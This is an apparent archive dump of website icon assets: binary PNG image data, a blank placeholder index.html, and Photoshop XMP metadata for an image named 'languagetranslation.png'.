��Fgc���:�cr�!}!p5pʣ�h8�~*���pk�pu+~�?��g��@餵�q|�^���B��p\B����N(��K���u���"a�����6�$	�rl��D�f:	���i�I�p	�O����
��h*�C�	�e�M�/���,p9�/���'�?��#�$�Y�cea�������q<����2pY��3����8N��O��"g�.�@�^ŏ{�y�4����S
K���^�F��RI0#�8���>��`�V�M��Ӌ�����4?%��R��������-asr����`(?'�=��F��9���6�s���.�厮�ke~�$��8	�M�M����1��-�.��PЧ=����^��#]�#���p�Br,�q	��򯑥0b/����X��B�’��n�B}T��}���^���<�͂��>�x����1�L���Q�3��O����o���Q��F��J�f��~���I���F����#	|�$�Fa�4wc��Iɀ4����K��#��g�1���k^�
��~�貃9���a���+<�-��58���.&ˏ�E����F��S�̥�e�f|�h���,tt��������N`�ȣ��'p<C���|w�s8�"ɗK�/��r��c���Hp"�!�8s��'��i\J��
��x'�O��丯���Z�Ɓ[]�*	�I�#��Mߋ�t#��;Hr,!��16?'�W�[!��������̱�������r_�ˮ/2��f4�`ѿpl��������m�/�%��`pcԳ����B�ǯ��q�`{���>�΁�R�"
Lɀ��~��'H���LjC���A����L�7Ջ�EX^qt=gd~�<�����
���5�$Q��_���B0�`%���Fa�d`>�������G�9��2�g��:O8��R�Cbd��|ˎ�
I��iY]����,jdd�ʡ��i�gp�uJ=�cU��<�8��8�,�
���њ^��+ܳ���P�~�����B���A���u���
��3�n1&�$7ѡD@Z�Z��m�_�`=���ˍ���zV+�8�|{�LJq�H��9�^)}��k��y'���e`��ki-@��}_��m�2�9Z��_�	`b���Y�5
���;�H3u�$m@�riy�ABpZ��~��yKC��_�-y�ą�̹���u��볎��cL�Y����с�:0���˸pj�O���(�gr|��܇o�3Xp
�]��	}ҥ-L��G�S
�{��uz�����e��{p�f4�'Ëpt^��*iN�p���!Ǻ��ד�t�a)�%��=�+M�j�(mD�vi��M�GB��z
���zQ�����:�*x-�K�?
0��>���O����A�`��?:�f�0�)�v�O����`�A�S������w܏+:��
j��!��ʅa����)���ѳ����;�W��|�l�Rr���5��JD�H�#h!8�x�������\����#�ci��W�M�CP^x\�e�9/~֗�i���_�DP�~��:���cd�B���>�Ҟ�Z"�
��x��r�Gq|�,&�r|�\���@PD��~p�D`R$�+.��u�rt��Órt�R���22w�}��m��q��Q�ԬA00pa?h�hz��B���8D�ՀJ��́���^��&���z1��'��y3����
�m*ƧHrV
9�N'H^%��ߏ]��Ո�_D$(�"�
��0�$�̉��{�ѷ@d'��H��%���ю��j�>�.0���)��\1�z32cɜ
�`)���.PPB&b�I6�/T*���uw��+�2X[�׍�.�D���n�#�(#3~v�jܙ��DJ)-	��%ɥ����U���q�	���$�7cٝ�FP��{�~�ed�vc��G���d@$��$I�,4�]=�
_12Z��{`u$(�y\~M��
ԗ��Xփ;�q:�E��HJD�x?		�Ӹs����P��tta�<��*܌�����
��^F';()KɀH?f��~�#8�\`��z�u8^`9�Wp�Ō^�w�	�N���w��T%"�R2
2��1�	A`Q�'/��`���
\��z��QE�YD�Eth���
��b*��2,223�'N��p����KE�[�yPFf&�`n�գ�"�ӷD���K�R�#�o�1Ũ#я�^��
A�	��AB��H�Tg@�B�IЁ�\����Lst-�9�z{�_8(��2��d��Z32K�%�<�T"
R1}[D�`ƙ$�p�8jD����_��|��s�&h�Y
�>|���!Rˀ��1�$c��|�r#3��P̡����\����D�)j�ȼ�
�$�G�4XPdȔ>��T��H���3�F�<�Յd`�@ێ����
�a|\��Ȱ)�	�/�y,���L[��=I�]3|��$ɾJD�Mɀ��勯	z���׻�+۹Za��ǿ�"VU�,�G�3I�V%"#�d@�
�`i�T+\��(�?�.���
K48�$g�d��S2
R%��V8+�xj��w6�����OT�M����#ɧH0E��HU(��2�
��q�S#i�7xm���h"��|�$���T���*�M��tpL��u���'Θ�,�>A�䁗��*�"�&���,�����H^[�z��Y�j����h�Z/�O^FEx��n�#}�h"�m��#���H
�{%R#�1R$I?i��Di��86���
�m`��
7���h�G�2%"5�O�Z��]��	A6�(�7�G�_���UڋP1#s$�[����(%"5�o�H���<|��Z��㌩Z�g9�*�$02'$T"
R������I��BB�&�V�ox5rgXS���!22cɜ
�`)��]�H]�&R'	�c$�m�W+L��"wn`�K��������C���#%"uv$	no�j�‹���rp}19F�Z��I���qg<B'{*��fl�izo�N+�_$7�V�r��N��W�C������3X�*hQx�NvP"
Rwj�I�j������y�$����Ȝ���ט
,o�(��ZDbV+\@�k|�`_��1�V�U����D3�
,
o/��IJDb�d@$f�H��HW���v3��[sh5Q�,���JDb�d@�̈T+��O���T�\3'�\"0[��"�S2
�
ކ�1I6.��PBM�`	%"
B�D�2�\�|6Z��l�8c�3�����o�H��$'M�r�,%"�J�H�4�I�(���af��ҰD�cHp����o�H;�����2�����S��l&�D`	fi�#Ґ��ipG��
!x�Oľmf;�ր�D�&P"
���i3Ip���*܉�cf��Q�M�
���46}CE����	A�o�t����'�H0S����o�H��o�	��FIJ*i���4���.p{B���&�o�H�M�Et0��^���]�ʂ#
�\T�X�IE��_��/6�Y�C�ZJD����&6��K
�df3�sKj��f6-:$���4�Y����>!���r��R���e�m%"�MɀH�I�0�j�,1�ι[��^f6�;��2:��U�mD�������0�$\��[j�B0;�w(iJDZȌ
!�|B����
���m�3�I';)i	JDZ�tG��17��l��M#y]3;�`����d@��ȑ���e����8���lW�f����%"-EɀH��$�|�Efv�s��Cy�
Xp1I�Ӭ���o�H�TM���J�ofo#H�$ɼ`<���%"-n6���F+p�L�έ�yAu��N����SDb�d@�
���
!X�;��l�@�G����L�8���d@�M���`���,PV7v~x}	ަD@��)i#���+�~��f�o�6f�ΰ�Нt�̰Hз\���#ɇ_�ۂ�����H��ZDڂ��6�)>!�|����l���,x_�,im�����}����w�88{26?||I�Q��H�P2
Ҧf��`��s0��/�d����d@���v���HR2
��v��/�
�l_8"�M
��|K@��#�D��(is"�����5�DDDڜ��6�d@DD��)isJDDDڜ��6�d@DD��)isJDDDڜ��6�d@DD��)isJDDDڜ��6�%�kqq�
��&X�!�B�G��R2�eC�!���N ��DD�j�d
w"�?��҂Z�c�*c���BDD��qPM����;iK���Z%�*�DD�-��;�jj�d�q!""-�[@o�ATS+%/��;ii�ߍ;�jk�d�J��BDDZ�J`.-�*����w""�R��V�GM�b2�E`?�������/�:�XjƜ�e?�,{:
���eL6�yd��&�q!""M��v w ��*�
ߢ��vYιA�����i�ՎTDDDj�U�g�|���K��@I���H+x?����ι~��\��V��K���k���:&"��*p�d�q��Ǐ7s,"R0��wL�B_Z�f���0`([����~M�����	���f��<+?h�TTD�Q����n���������5p\�AT�6|�����ι{�-����T���B�@D��Bq�Y1""�qg�T���~ir��8�9�@D�:�qP�
q
"y;Cq2��"�mj�ThZ��H�h(Nm��G��B'����Bq2�"�8D�JN�;�A|xg�A�H�
(N�%�����FӁ/s�
�@D��P\g�h�z"���_�4N��e�&����5�9w]4�G_X�v���9��&�.�)
���[��4�GDD����W-�X�5��DDD����/�OJW-$xp>k��q#�D
T.
��p`���q���H�����$��cJ����/;��"""�o%p;�{�7��r�7f�cF�����N�K%"""Ҟ�3
"""mBɀ��H�S2
""������9%"""m����Q�A�JIEND�B`�assets/images/icons/index.html000064400000000054151165724360012434
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>assets/images/icons/languagetranslation.png000064400000044362151165724360015221
0ustar00�PNG


IHDR,^ɰ)	pHYs��
TiTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-05-16T12:32:42+04:30"
xmp:ModifyDate="2021-05-16T12:32:42+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:003d538f-a7a5-7748-9e25-8ea87ff45386"
xmpMM:DocumentID="adobe:docid:photoshop:c9a29cb9-e0c9-0f49-871a-921074543321"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:5be3c219-0f57-784c-9335-302da30026fa"
stEvt:when="2021-05-16T12:32:42+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:003d538f-a7a5-7748-9e25-8ea87ff45386"
stEvt:when="2021-05-16T12:32:42+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:5be3c219-0f57-784c-9335-302da30026fa"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>02BADA668A33CACE5D5C37ECF58E339A</rdf:li>
<rdf:li>1A38270A084735E599E742D9E28247A9</rdf:li>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>5C2EDD4900F484FECE3D7A155E1CC32F</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>99C59D4360004D3024EB8152A56E4286</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
<rdf:li>adobe:docid:photoshop:e6e905c0-be21-184e-9ded-ccdf32c966f9</rdf:li>
<rdf:li>xmp.did:0e81e14e-1626-5f4f-bc06-99053d67e78e</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>���;DIDATx���w�de������359�P�����DAETD	d��5�?�*0
0��
�(Qº��bBTXXPD@@��@�Lu���VwuuŮ�ܪ��_�~M׭[�NOW�{����]}��������8%"""=Nɀ��H�S2
""������8%"""=Nɀ��H�S2
""���߄b��.s�L�
DD$�����h3M��뀏{S�"""dx��Q�<9��	��e`࿁����t�A�T��؁���ue2�B�W��؁��HW�8:v�ff]7�pG���Hk��0v��m-v����t-^��xv�nk8%""�Z�f�
���Z�������������e`����H�8!v��-���5DD$=^;�f�d`����HO�;�f�d@DD����5Zɀ��H�S2
""�������󘨵Lb:_gADD�c�c������HDD�W)iK�(��2�J=.���*��^�M-\"R?%"u��/��o�Uz\JaR��DD�S2
RV񅿕�f*gqb�AD����t��ޠd@D��p;�=�r,�(!�l�8�m�*|i6��
�Y�^
��'���-K��ω�x-���;@�N+�c��O*�2�K����\�ˮ,�G�������u�Zx�O�j�mK���XϪ�X�r�ⶦ�1�#��[6��J,{,pT����	D��R�G��/��0�
�\�{�N3<ˮ���}��9����vz����-�}BfoI�:(�`���F���Q�>�<?T�}�֮�s�x6����L˜�B%i�9,���WY�6B��ЦGT��l�u�^IȜ���!u/%""�ƘF�A�s
.���\?0�\��w%�U�O0n¸	#�1d�`<M?�R�Z(A�f��^�00�9��̀w7��HG�FGP2
�R����a�O.�}��3�J�����;��&�[)��^�����p�
��@��x��>���l�!F��J��v,;�s�>A�<l��!X�|M�?Ss�L�
'�[
��?�[$ǝ<82�a",{!s��b�)JDRd)�a���ߏߙ^����f`O|��z�)��f���a]
��B���	?��Z���'#�8��(l}��1-��&�L�,{�gBf
�x/��>�pp����{��{��r��E�@͔�DTx��W�����I`%�f`�{!��;p���>F�I�qS��/&I�a��3y%v0?��\��c3~�x�~v!�:y^�AS=��,��
�
2��]*
����X�}/�;���5�8=AɀH�$തQ���7�'��O�w��¬K�$|�`ӒžxQ��*�xk�1�F(����I�o�;Y�F`WBf9p<��]���ж����AɀH�,K�!<	�f+I��&��c3kFSiTfvpW��k!�W���c���g�c��a|�"�������mG�.
d���?���V{a�'�l�=;�*�
��Z�$`Q�
0�eI�0o.�脻�f!l����o&ޅ�����gO
&��m�Tm�oo!8�|��m�ˢ�&��%V�
�^�P-"-R��Vi
���W�0�3�D�	Х!�����1�&pv2C`*A�j7	�𡶾k���l8����2
͵�a��$��с��ρ��7�;"��j!�y������X���&�/J
j����<d�����,�P[�w|}x���ZvWˀZD��pP`���Vb�ْ��u3[��<�(���ة�v3�S�%�-J
j�n'd^��s�,`4����r5&2J-�e@��arx��;k���j�23;=Vl�"�pI��n�Z
j�X�e�5�#��>�^����/��;�������>��A�S�R�LI�+N\�l�7^{�fj�%(����a81���U��fvb��S�k�2�3g0ZYIAM�T����W�̛�V�-������">�0��[�K0�W���?_��
>�d>��w�5/������"*P20Bɀ���;`A�0������N�^O(l)�����`���Jn���T�+d��KY����1�����ԉ�q`��Y
������&J<�_�H�3�r,
���g
�'�mf6G�@{���f68e%��^�$r�H��5-�Գ~Pu��y!��_��Ș�)���o�.X��
Ǒ:(��r�Y��H�����̞kf�/�bi3[bf;ǯ�
��O����[U��x+슯}P�7ZG��l�*�I���ł?5�{c�&��.�k���%s	#�3P����5�f�c�����'�Q;T޽�E�x�J�0��J	JD�X�0��̏nZ���mf�ōNJ1���6���u2$I��R}��<�㘃�C��o���jB�$|��Ḓa��x��*h����1<R9��5`��-��T�$j��l�es	,"�\�z=!�u��2��n��eK/�27��\��K�5%M��"�,g���ր!`�0�~%�%�}��
{h�_Dn�Lt��^�~��6����n�e�.���a��zK>S�>�k�=$�d@$q1�\�0�1���AǛَf��Ʉ��yf�L�,>
t9��p�&S	��ְ�
�~
<˾���k'1�;b�sp'~�0#be_C�o�a���<X@�7�c�
����4�p��q����i�1�z������/���
�e��P�e�‹����~,;��e�Ʋ�ò;��ߍ�(�xB�Z5A�4���y�D
�g���S�r3�)rh�D���z���{2!x]R����&�n�/�2O2�2�����aك��X�t��e���eXv[�{�Bai!��ڻ=�
%���#�Vf����IK+:~0��Lfg�|&d���
�s�
O�����β��<�-	�Y%�|)#�;�xu��C��+�Hɀ�|"0����f�ըAI[$�o��8�kz+!�$!3���3vt~��@�lI)!�3!�sB��2�V2��'
��"d�(��w�M=�)��S8Pp6����%��̮^��o���ㇽS�p��_����.P�42�
d����Y������Q��k���m��<�؁�y>pJ�8�NJ�����<lf�ĎM���~|v%�b:��Z�`B�Ƣm��7O=o�o�?_90=��|^U���/�\�VBf���O��^��Hɀ�
�O��C��b��u�"�&�C	�k��@y����c
�(U���b]j�b���G��ֈ?'-��!�)��P����R��>df[�{0!ؗ��9��p��&���7j)]\j�Z�s�މ|ܣ��H��H��'0&�'�\,채���2�e�E{`C��Ƙ�e��D}k&H�HW+LJ����q�$C����2���#�"k��Ex����eĤ���k����0�5N���^lL!����Z�-�W\����&zdiX��7�f�<�����ʕ]��'��
�
��π���^'�1V�|g�K	���y��o��(���%TL&h�L�`�&/-��ӷrx�󁫣EY�L2X��S���~z�e
d~��`�)m�j���<���K�c�ӝ�.�o8"�><لD
�O��o��D�����z�
]OJ>7+f����0�&�-%��ݢ���]���[�X`U#�XJ���fX�=	,m�[�}���4_�y�+�؁Dt�:X1����'!��}����>hpE���%�Y]��
����3�x��Tx���M ]����Z�
8��~�!w����u������]WF�����C!��Vc��	{��2��ν�ڄw�gٍ�����ym>LȬc�n���D��`��K�s!3T�OqEB�/��),{!s>�Q�hH���s�/^ˤ|s�t��E���GT�,X�s�����۔;�&�
��j;v�rK	!��͆�6_�܄�&,��g}���8����-�2SmI�*�a�*ٸQ�=���̬ؑ3?�"�
g$���&����|��gf���G՝F����ePyin�>\ܞP*zK�D��!ή�n�E3�7x���a�M���|3��(����H�dF���]���0/�:��f;F˺��+�Mf�L��%�'�N�s����O^3;�/�S
����������Pe��df��޸��B�
)�:`��<��J-u\�~�oLk4Hɀt���O5i
᧨�����|�Qe^��lJ���s��v�6fv}aM?�>��`a�4���h5{�:�����>k�=%
�O�H)˓D`*#mx!�k9�
,�;�֍o��\a�I��m�(�.�kfXD�e]�����5�kX��?R:�r�9�����zL�z3�O��.l���=�����U�M�`���
�ctRB0�w	U��9���a�٤#q�xJ�cv����h�a����nw7妟���)�T2����t\]�7ְ�'ZD
>W�>{��XS�?Q:R�8�&.>4ع���0���î5���佤Mq���]
<��.�Zg�\u_%����k�l-?��Hz���8���8��7��;S��I�Asݺ��Z�弸]���y�0���;!��Ty�R,{�-�������g���O4�<�,������^Bi���H���UM<�,*��a}�v�L�6h6f�E�
x�u
3�!�`.�=��ޝf�����	�nX�
,�a,�->%�x�Z�/��x"�(�p+��i7c�I��
>�|*쟁c��>u�w8>��x�H�L�*�
��$�*0���f�P�����Sy:�Q��y�:���
�_2�3����*��%�w*����
�Մ�G�f����#�l#%�2���˾���#|pk�T�P����>F�jk�O��C;F.��k��p.�`F޻ʠ�Z�c��N8�9�O~��D�����hH��H�IN����[�V�׎V�!�-�;�؆�.dT�y�0�OǬI��?�X��h�2��˾�m�k�#�ʚR%��SF7��n'
�x��Z�6�w�4��H2��w3	�樭�vk��5���D�"�h���hJ�cFF�-6�{#��O����Dl����)���F��Xvm�w��%�~%O�+̈́�"J$��j
��Ě�T��o���E�*�u7�d������qK_�M	��3vP���2�y�V*�-E45HR/�$_2h���T��e`{�p�!c3>uju��R	��k��v5��*yn7�|�?�̗�'�+��K���	L�&�ڟڇn&�ܕ؅��}m}���_
q��<J��e�ƨ�2P%�j��f��H،��QK2���.0|``����d`8�2|z_�{�O(���r��/v3�'�Jf�$����YDڿ����T2X6We���L���	g9[�&dn>�e�p|��[%�z4uE�j��@j9���h��۔�k���f�V��.[�M����4x�[�ix�������C���u0jm��W�!s/p^�&�x͘}�������H��I�|��`3�kҊ��4��濫f�L���2��C�����4�ꐙ���Na4�l�xw�n�;M�?O��F���(�.i>i���H��o��-�Ѵ��K���F*'3��8��%��K?������'�>��)��?X��BD�0~��)�d��x
��O6�Vw�
��u`B�u5.�S��_Z�ɔJ*w"dvŲ�52��6U�Q2
��o���f�(vL�Z�o^Se���&V��Ŗ�
p�R���	�����B8jr��˙H�����S.e�5>��Xz���$��W�u�����YM�|�#�:_�+�@K��T�E��b�l=�~��I�څL��i���$d>Y��B�|���Aɀ�N��j�۷��/��J��o�ؿ߿�U�T��	��tྙN$������E2����
����j���JB�2|f��Iɀ�NQ]�vO%l���-E���^<8�F�&�����ܪ$���4�j�qB�\Bf�qφ�>��w��H�u>F��A�T~��[	���l[d]Fc$U.f������p�W\k׹���z��%�_�,�u-���ќ��Rj
��`f�C�π7D�;08x?!��O��V��?!d�W�|L�5�?#^h�Aɀ�R�5ڕ���o�<�
xc�ʙ�O������ѹ@勄���u���)}���/��q�s�@����$u
>�O�}����6����-5��y��׽��t��^�G���Hj����&��[;*�%^c
�H|=�j`���i�x�#n"3�	x*w#���Hj
�J�h�j��q-pm��g�	A%}�"H��1�C݌��hm���"e)�T�*���)�j��}�c[>�*���o��Š[�]>�Q�����d@R%J���n�B�o��d��=�z���؄��]�u%����,��H%�
C��c�`��9�0�KE�?�/�R���?|�����D('���D�FJ$6a���kQ�Rbt��.(�l�?���|������Ze����\(���P2
�-c�3b�?\lfi^L��a�#���>�ǟ^R��_����e�t�����b�[�J$��,�D��Z���D�.�������ʆG.�nx���E��J����{�*�4��
�.�m��@�?nj��w��<w/K���6�_Ȩ���Ls��W���4T/�(�.j���1�"rL�S�f���!�{ja��"�v�a�T�[�����������3�*�TP2
�����qԠ�3��[�u5�*���P+��6��k�OIJ(����!�FdT��s��ޯĻ
J��Wfܫ�1�V������4И���&���K"���6��S(��M��5���`Uc�⥎��<.��W-|�^����&�MɀD�/A<��
�W3�}�"�X�خ��w��l�|x^�x9�Tb�'����!�3�^��0�	j��H�ɓ�V�{a�Vy!�3��8X��>�
��U���[T�'�i���r��
H�e@�>M���^��
؋���K�!yݿg0~!�m������	܏/�����������J�bCy�n�j�6�|�2�`>�}��܊�$��ϭ�����-s�ݒ�����`
��y|����JlJ$��
L��ƌ�@��r�����k2T+�|;���xkC%󓯼��]�Z�@RAc$����~
�K�%��5�<|�U��p,��TO
���xޒPKW��xW��
R"���5MŇ$2%�jo=?v�y6>�/��^K�xk@#�n����>F�TRq/pz�#��d�:	$2u��U�e��ڀo/���~�7��*��}�i|q�������>n������]���\��a^���)�['��`�����G���q�O|���$�'��~~>�sC��'�ܜ<75�y��x�-�1+�ׯVw?+�."%(i�+�E��5&�����
�T���f���T�8ة��Ƨ_�9��4�PbR7�D1L��-.T�|<T��6wp�j|�@��s/���]
ݘl��X��N�H%��Xa�ԓ�"���D��~^��؁��d�d���"�Rh5�o��$%�dBa2pk�HƉ�PQ;��W?,.^�+v�W�<,v
�{��l�vM�)�FɀD�W��~����O:�l�Q�xQ��\B�7r$kr�&Cྮ�5�)��[�0�3�o�9v<u��A�o�g��|3��؁{a�Ðj
H�|b����<nu+5�����b>M��|���*�툗�~[�#��
pZ���)���@��*�wj?��*��<|��t
꜈��M88��I�!��Y�i�M/�x����0^��E�_�K�LV��|q��>���8�o�ڱ�~�)�{��H�h̀�X�U��9��K��Tn�%�V�+(t3�{��qDa���#�>JD��R��bW�ٹ����s9��y�M��r;pn��g/oS,"��d@d�oUy�l��o'�W����Ž�{T^�%�
D$m���w->v��)��C���ٖT��ys�I��H���v"�6@(2�|T��	x�E�/𒲛���}�+���o+�T����3�:�?��s�G�wR��F
��A�]�g�1�TQ2
R��ہWV�o�GSٵ�O�P���*�T��Y}ҳ�M R�
����؁Ԡޕc�Y�Y|��H��۸iZ���_�#�������s�.~1.�1/ȕ��t>���n��~������Z�]��y�웼g�}�c)�/��j��E�j
=KɀHu�^|8&r,�4r�k瘁w�y�(<�j��&�A�%5����!�X�`৤k��JM�Y�38��s����KP���ZD�sc�7�R�0����؂�4��xU��6�Oƛ���6���G��H^ۏ��0
��c�>���
7��
KJK¿3���쇯���=�H!%"sG�u~�ߎ��,�b�O&1�<��d
��;�d�
qQ��]wʇS+<�5��G-�#-ɑH�(�؞;�2��+�~쫪�	_��c%�=Qb[=w�+
����N��u���(Z�T�!��#�%K4�mb�\�O+\Fw׬oG��]�Wm{����k�V�4F��؋V;�R��H�)��[H憐�~#V��9�O'%����V;�n}���v
|��Q��E۶�iC<i���c�N��>u�nrޕ}_�X�,>^�m[������a�f��aE�7�$�W�}�l}8�t�f�ݢ���W)�(�&�ɿ}}��q��n`i����	�3�Ms/zT��W�g3���S��ɏ=w0�E���F��|��s�H$J$��Xa��N��/�l]��xW�`�v�D��0����.�+��?)zn+��-���9/֕x'�*9$�(�(&
G�͉�{>>c��1\{��i-���*]aZ}(^�q#�?�K�x[ˢI�Ns�����DɀD������P_��~�7鎩���8>xyѶ?0v��π'��ٟ��*(%ꕸh/��R2
Q%���¶��Ll�[�Ci�G�~����K�~\�x-��E۶^۪�*hgi�B�"���%U2`��~��4��46e�x�A�
��ТǛ�1�Ju�Y��U��D�d@�X@1��_��Bػ]�B��_��o��_"�K��VŽ+�ʢmw)���x��B⥗������aa2��f�/ѯ�>y�ɺ����XO�z/z�O�Q��ٺ���~����4�Q-��1պ	ZUu�P�w\O��ME��њ���Uqx=k�
HL�0J:T?c�m��B�r��@~�B>�a�}�9e^�^���e��@:G�C�n�V-�\<�`��k<\���(t8��&���/b$
s�	S�HDJ����Q�؏�c<]����r�F1�
��h�wWx��ufl{-�]�8F2����
�&�h�S���SgƍfD�ҴR+~�R��~J���m�/�.1ZwN�KH�T[�QJ$����~�9��g옺P��G��V<���R]om0�biK�n7���ω:KD��ITC�_�|P_�u��K�\��݁m�#^l����Ms0��UPJ[���!�����I:I'�ܤ��1�5�%~c��$�0~�5��8R�߁_m�O��RW@���hu��X��J*�#�;X;�.S�����R�
��[�
��Q8�#k�P�����F�J�-�����hI%���p��p�Bx���&rXݤ���&x��E�|�
+�*�x �B���>%�0�v��H���>��
���EWj���1���B�o(�}��RI�<�S-2K�	
Kz�ަd@�KâE5�Ŀ�j�@3+�r=�fUxL�l��+W)��:��&]f!}|��|��%I��4����f]�v^Фc�r
�m�Si�D;χ����$%4f@Ra2��ч��F��n�MЬrĥ

]
��h��a�&�F��q���.�2�
�C��+%tm�EO��4��Z$%�H*�1�J��e�T@�,��
�����ڎ��G�F��*�akДBI�OI�$]�R�U�i�
lF��ɜ���o�וضɅ�E��
t\��(��Jɀ��B�X�@aW�ċ��n�{iF2p80�h�B᯳nw-ڶ�/kܪ%�kB8�o�4^@RC�DI�|W�l�>�7�����џ��ҳjY�������~X�ǭ4��)�Y%����&*�pѠ��nB�/vLE�5�.M�.��.�G�f���Ķ��8f�d
�0�j��ѧQR����.���
��5���?�5x\�ۀ���5Z��]�K���Cs$m�H*��7�qb���ΥQ
��W�M:~{P�M:~�V'��Ƴ/�x%m�T�w�����Ǎ(�=��D�[9�`��E�V�k��n(��U�`‰����|�|��_,e��:�J��)�d�J��Y�C)c$�`*~�}�^_�b����V�ׄ�/���Y���B[P�E��Z�ϚG�����H��[��]�'ӱ�
�
��k���&�ק��.���Iq�m����aL��^�wؒku�S����*�Ij
�E��û���Fğ6	�o)�z��94��ཌ����T���m�[5:a�ǻfcG!R��I%�{�~��B���N�Vŷ�}����V���l���ւ㖲*�j��&Fe��s6���n�dJj
���.q���'bs�]��ܝ�'�skx}�B@���9��S��Jg4_HoSˀ�֢�u�Lrl�!�����!�+���+\i�P�E���U�`��!���>�-�ϫ/�L���"�_o�]�zm�{��M��!��܌Z$��H����S2v��'ho20�JL'�eޅ׳)���c�I�?XO�e\�y�H����2:v`��-i�[V�
�g�R���

<Q�\�ʭ{�*��<���F!���61��
H��*a�����;��Z�Ӌ�����R���[�xv��Yr����O?���I�|݁5�u��·{���n��0��v��
��x_�J�Uy��f�Ia��L��1�)��a����·��g��*'�S
Kus�X嵟�������
�?NZB��e��3"i�d@:�hUB��,XТ�Z���ofI�Vzx'���>?�Q�^���a7�	��p���1�Mx���U@:�JǙ
<
�B����ŏ��W��������������g�ڄ��…�B���ʭZ�8���ϳ�r�U�d����f�~�1|�Yxw���$�I���5�$0�<�<�Tr��d:����]�3>����ɶ��OvV;&ǜ���V��IL;$��������g���W��SU�t���8Q�M�����ѓ_^G�Nk��I��䟎��a�c6�U�Cf��F�������m�������x��+<ɑ�>efk�
!��%�Fkt�u�&VO��9M'
3ӧU:K��`�ߌ���i0�Ķ�	p��@W0،���o��
I>�;�U"
J�X�H��U�¿E
�����?�/e|���{�8T7���f�P�B�p�4Z��H(���od���i�Cj�¿�{����8�U���^v�3{�	�:}.�ATvX:�>�ґ�	�z�{F!
�B~
�mxa�f����Xi]�K�7z��{`uH��'W:��,�̅�vᰘ��l�%�xA��싯�pw��f7�I�ɐ��:q!���K2�{@:���X���+�4��w|3�pa䰚�z|�`+�l§Խ/:t9p'>ذ��[?>�O�<���jB8�z�J(�@S���N��a�G��֚Y�.BX5�lD�@���BM-�.��>.c
?�~VᐸI7K�	�y�B��t	}��+�����ׅv��t�$Ѽd2>N`M�xD�Eɀt����A`�o���gH!��M����O�t�|B�؊�;���Gc�%�/�p$��ʋ�H�ѧY��"����؂�-pV�0�6
!|X:���z��t'}����$k1�{��b�$턙�����H�ҧZ�ґ��
��f���F�!���-�?`��uʔ.�O�t��x-�x��Ga�$_�䩘������Z'��0�&%R�$X�O4N@��>���NJ42�Hm�H/�'\��B%R#%ҫ�)��P&!XB�R�$B�V�D@z�>��3���^���!��"�&%���g¼�	Q�������W�`.�vr�%�]�}0�p���>v|�^I���%�[��=X	J��(���/#;��B�9��Vc�!��̮���I�vŷgk0����O��Ón��R!�j�X������뀯)��O��8���ɾ����Q��!|)��X�lB�D@ɀ�HB��N��q!��"�&MB�x����JD���0:�p&�NrlI��v��t����9�b|�V���"yJD�����4r��8�'��f��J�BNv�k1�2��JD��_�H�E��d�`.a+`Q�ȡI�ր/�%��l�20���(����(�6��w̅�Vy+�x+�'�(e�N��8
�6�49�))MɀH���
